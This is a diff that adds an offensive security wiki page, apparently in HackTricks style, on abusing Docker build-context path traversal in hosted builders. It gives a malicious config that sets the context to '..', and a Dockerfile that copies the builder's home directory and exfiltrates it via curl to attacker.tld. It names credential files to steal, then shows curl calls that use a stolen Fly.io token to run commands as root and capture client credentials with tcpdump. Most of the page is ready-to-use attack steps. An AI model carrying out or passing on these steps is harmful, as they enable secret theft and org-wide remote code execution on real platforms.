|
| 1 | +# Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot) |
| 2 | + |
| 3 | +{{#include ../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## TL;DR |
| 6 | + |
| 7 | +If a CI/CD platform or hosted builder lets contributors specify the Docker build context path and Dockerfile path, you can often set the context to a parent directory (e.g., "..") and make host files part of the build context. Then, an attacker-controlled Dockerfile can COPY and exfiltrate secrets found in the builder user’s home (for example, ~/.docker/config.json). Stolen registry tokens may also work against the provider’s control-plane APIs, enabling org-wide RCE. |
| 8 | + |
| 9 | +## Attack surface |
| 10 | + |
| 11 | +Many hosted builder/registry services do roughly this when building user-submitted images: |
| 12 | +- Read a repo-level config that includes: |
| 13 | + - build context path (sent to the Docker daemon) |
| 14 | + - Dockerfile path relative to that context |
| 15 | +- Copy the indicated build context directory and the Dockerfile to the Docker daemon |
| 16 | +- Build the image and run it as a hosted service |
| 17 | + |
| 18 | +If the platform does not canonicalize and restrict the build context, a user can set it to a location outside the repository (path traversal), causing arbitrary host files readable by the build user to become part of the build context and available to COPY in the Dockerfile. |
| 19 | + |
| 20 | +Practical constraints commonly observed: |
| 21 | +- The Dockerfile must reside within the chosen context path and its path must be known ahead of time. |
| 22 | +- The build user must have read access to files included in the context; special device files can break the copy. |
| 23 | + |
| 24 | +## PoC: Path traversal via Docker build context |
| 25 | + |
| 26 | +Example malicious server config declaring a Dockerfile within the parent directory context: |
| 27 | + |
| 28 | +```yaml |
| 29 | +runtime: "container" |
| 30 | +build: |
| 31 | + dockerfile: "test/Dockerfile" # Must reside inside the final context |
| 32 | + dockerBuildPath: ".." # Path traversal to builder user $HOME |
| 33 | +startCommand: |
| 34 | + type: "http" |
| 35 | + configSchema: |
| 36 | + type: "object" |
| 37 | + properties: |
| 38 | + apiKey: |
| 39 | + type: "string" |
| 40 | + required: ["apiKey"] |
| 41 | + exampleConfig: |
| 42 | + apiKey: "sk-example123" |
| 43 | +``` |
| 44 | +
|
| 45 | +Notes: |
| 46 | +- Using ".." often resolves to the builder user’s home (e.g., /home/builder), which typically contains sensitive files. |
| 47 | +- Place your Dockerfile under the repo’s directory name (e.g., repo "test" → test/Dockerfile) so it remains within the expanded parent context. |
| 48 | +
|
| 49 | +## PoC: Dockerfile to ingest and exfiltrate the host context |
| 50 | +
|
| 51 | +```dockerfile |
| 52 | +FROM alpine |
| 53 | +RUN apk add --no-cache curl |
| 54 | +RUN mkdir /data |
| 55 | +COPY . /data # Copies entire build context (now builder’s $HOME) |
| 56 | +RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) |
| 57 | +``` |
| 58 | + |
| 59 | +Targets commonly recovered from $HOME: |
| 60 | +- ~/.docker/config.json (registry auths/tokens) |
| 61 | +- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*) |
| 62 | + |
| 63 | +Tip: Even with a .dockerignore in the repository, the vulnerable platform-side context selection still governs what gets sent to the daemon. If the platform copies the chosen path to the daemon before evaluating your repo’s .dockerignore, host files may still be exposed. |
| 64 | + |
| 65 | +## Cloud pivot with overprivileged tokens (example: Fly.io Machines API) |
| 66 | + |
| 67 | +Some platforms issue a single bearer token usable for both the container registry and the control-plane API. If you exfiltrate a registry token, try it against the provider API. |
| 68 | + |
| 69 | +Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json: |
| 70 | + |
| 71 | +Enumerate apps in an org: |
| 72 | +```bash |
| 73 | +curl -H "Authorization: Bearer fm2_..." \ |
| 74 | + "https://api.machines.dev/v1/apps?org_slug=smithery" |
| 75 | +``` |
| 76 | + |
| 77 | +Run a command as root inside any machine of an app: |
| 78 | +```bash |
| 79 | +curl -s -X POST -H "Authorization: Bearer fm2_..." \ |
| 80 | + "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \ |
| 81 | + --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' |
| 82 | +``` |
| 83 | + |
| 84 | +Outcome: org-wide remote code execution across all hosted apps where the token holds sufficient privileges. |
| 85 | + |
| 86 | +## Secret theft from compromised hosted services |
| 87 | + |
| 88 | +With exec/RCE on hosted servers, you can harvest client-supplied secrets (API keys, tokens) or mount prompt-injection attacks. Example: install tcpdump and capture HTTP traffic on port 8080 to extract inbound credentials. |
| 89 | + |
| 90 | +```bash |
| 91 | +# Install tcpdump inside the machine |
| 92 | +curl -s -X POST -H "Authorization: Bearer fm2_..." \ |
| 93 | + "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \ |
| 94 | + --data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}' |
| 95 | + |
| 96 | +# Capture traffic |
| 97 | +curl -s -X POST -H "Authorization: Bearer fm2_..." \ |
| 98 | + "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \ |
| 99 | + --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' |
| 100 | +``` |
| 101 | + |
| 102 | +Captured requests often contain client credentials in headers, bodies, or query params. |
| 103 | + |
| 104 | +## References |
| 105 | + |
| 106 | +- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/) |
| 107 | +- [Fly.io Machines API](https://fly.io/docs/machines/api/) |
| 108 | + |
| 109 | +{{#include ../banners/hacktricks-training.md}} |
0 commit comments